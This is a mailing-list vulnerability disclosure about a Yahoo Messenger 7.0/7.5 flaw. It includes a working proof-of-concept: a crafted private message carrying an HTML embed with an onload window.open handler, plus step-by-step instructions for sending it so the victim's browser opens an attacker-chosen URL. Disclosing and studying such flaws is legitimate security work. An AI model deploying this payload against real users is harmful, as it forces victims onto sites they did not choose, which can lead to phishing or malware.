[Full-disclosure] Yahoo messenger serious bug

[Ivan Ivan]

Hi, 
I found another vulnerability in yahoo messenger that
if you receive a Private message with this string
"helomsg:+)-(%/?#()(=(/;_@#~$(@;+?/(?#@@*-)?@+#@;?(msg:---------------------------------------------<embed
onload=window.open('http:\\\\google.com/')>helomsg:+)-(%/?#()(=(/;_@#~$(@;+?/(?#@@*-)?@+#@;?(msg:---------------------------------------------<embed
onload=window.open('http:\\\\google.com/')>helomsg:+)-(%/?#()(=(/;_@#~$(@;+?/(?#@@*-)?@+#@;?("
 (without quotes) Yahoo messenger open in this case
google.com in the internet explorer of the remote
victim.

Yahoo messenger bug proof of concept:

1. Open messenger and log it.

2. Open a yahoo chat third party like yahelite through
Ymsgr protocol and log it with another account.

3. Send a Pm to the messenger account with this
string: s: helomsg
:+)-(%/?#()(=(/;_@#~$(@;+?/(?#@@*-)?@+#@;?(msg:---------------------------------------------<embed
onload=window.open('http:\\\\google.com/')>helomsg
:+)-(%/?#()(=(/;_@#~$(@;+?/(?#@@*-)?@+#@;?(msg:---------------------------------------------<embed
onload=window.open('http:\\\\google.com/')>helomsg
:+)-(%/?#()(=(/;_@#~$(@;+?/(?#@@*-)?@+#@;?(

4. The remote user will open www.google.com (you can
change)

Note: "helomsg :" this space must be created with
alt+0160 and this "s: " with a space 

s:[space]helomsg[alt+0160]:+)-(%/?#()(=(/;_@#~$(@;+?/(?#@@*-)?@+#@;?(msg:---------------------------------------------<embed
onload=window.open('http:\\\\google.com/')>helomsg[alt+0160]:+)-(%/?#()(=(/;_@#~$(@;+?/(?#@@*-)?@+#@;?(msg:---------------------------------------------<embed
onload=window.open('http:\\\\google.com/')>helomsg[alt+0160]:+)-(%/?#()(=(/;_@#~$(@;+?/(?#@@*-)?@+#@;?(

Tested in yahoo messenger 7.0/7.5


Regards.


	
	
		
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